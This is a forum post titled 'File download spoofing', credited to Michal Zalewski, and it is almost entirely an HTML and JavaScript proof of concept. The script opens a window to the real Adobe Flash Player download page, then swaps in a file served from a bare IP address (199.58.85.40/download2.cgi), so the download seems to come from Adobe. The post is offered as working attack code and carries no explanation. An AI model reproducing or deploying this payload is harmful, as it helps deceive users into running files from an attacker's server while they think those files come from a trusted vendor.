Jump to content
putoare

File download spoofing

Recommended Posts

Posted


<input type=submit onclick="doit()" value="Click me. I like to be clicked.">
<script>
var w;
var once;

function doit() {

if (navigator.userAgent.indexOf('MSIE') != -1)
w = window.open('page2.html', 'foo');
else
w = window.open('data:text/html,<meta http-equiv="refresh" content="0;URL=http://get.adobe.com/flashplayer/download/?installer=Flash_Player_11_for_Internet_Explorer_(64_bit)&os=Windows%207&browser_type=MSIE&browser_dist=OEM&d=Google_Toolbar_7.0&PID=4166869">', 'foo');

setTimeout(donext, 4500);

}

function donext() {
window.open('http://199.58.85.40/download2.cgi', 'foo');
if (once != true) setTimeout(donext, 5000);
once = true;
}
</script>

Autor: Michal Zalewski

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...